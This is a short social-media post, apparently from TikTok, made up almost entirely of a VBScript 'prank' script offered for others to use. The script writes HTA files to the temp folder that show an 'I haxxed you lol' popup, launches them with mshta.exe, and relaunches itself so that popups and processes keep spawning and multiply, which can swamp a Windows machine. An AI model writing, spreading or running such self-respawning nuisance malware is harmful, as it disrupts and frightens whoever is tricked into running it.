@osseousoss: Dim objShell, currentScript, fso, htaPath, htaCode, width, height, xPos, yPos, role Set objShell = CreateObject("WScript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") currentScript = WScript.ScriptFullName If WScript.Arguments.Count = 0 Then role = "TOP_5" Else role = WScript.Arguments(0) End If width = 250 height = 130 If role = "TOP_5" Then xPos = (1024 / 2) - (width / 2) yPos = (768 - height - 50) - ((height + 10) * 4) ElseIf role = "TOP_4" Then xPos = (1024 / 2) - (width / 2) yPos = (768 - height - 50) - ((height + 10) * 3) ElseIf role = "TOP_3" Then xPos = (1024 / 2) - (width / 2) yPos = (768 - height - 50) - ((height + 10) * 2) ElseIf role = "TOP_2" Then xPos = (1024 / 2) - (width / 2) yPos = (768 - height - 50) - (height + 10) ElseIf role = "BOTTOM_CENTER" Then xPos = (1024 / 2) - (width / 2) yPos = 768 - height - 50 ElseIf role = "BOTTOM_LEFT" Then xPos = ((1024 / 2) - (width / 2)) - (width + 10) yPos = 768 - height - 50 ElseIf role = "BOTTOM_RIGHT" Then xPos = ((1024 / 2) - (width / 2)) + (width + 10) yPos = 768 - height - 50 End If htaPath = objShell.ExpandEnvironmentStrings("%TEMP%\popup_" & role & "_" & Timer & ".hta") htaCode = "" & _ "" & _ "" & _ "

I haxxed you lol

" & _ "" Set file = fso.CreateTextFile(htaPath, True) file.Write htaCode file.Close objShell.Run "mshta.exe """ & htaPath & """", 1, True If role = "TOP_5" Then objShell.Run """" & currentScript & """ TOP_5", 1, False objShell.Run """" & currentScript & """ TOP_4", 1, False objShell.Run """" & currentScript & """ TOP_3", 1, False objShell.Run """" & currentScript & """ TOP_2", 1, False objShell.Run """" & currentScript & """ BOTTOM_CENTER", 1, False objShell.Run """" & currentScript & """ BOTTOM_LEFT", 1, False objShell.Run """" & currentScript & """ BOTTOM_RIGHT", 1, False Else objShell.Run """" & currentScript & """ " & role, 1, False End If

055

Open In TikTok:

Region: PH

Saturday 26 September 2026 09:11:48 GMT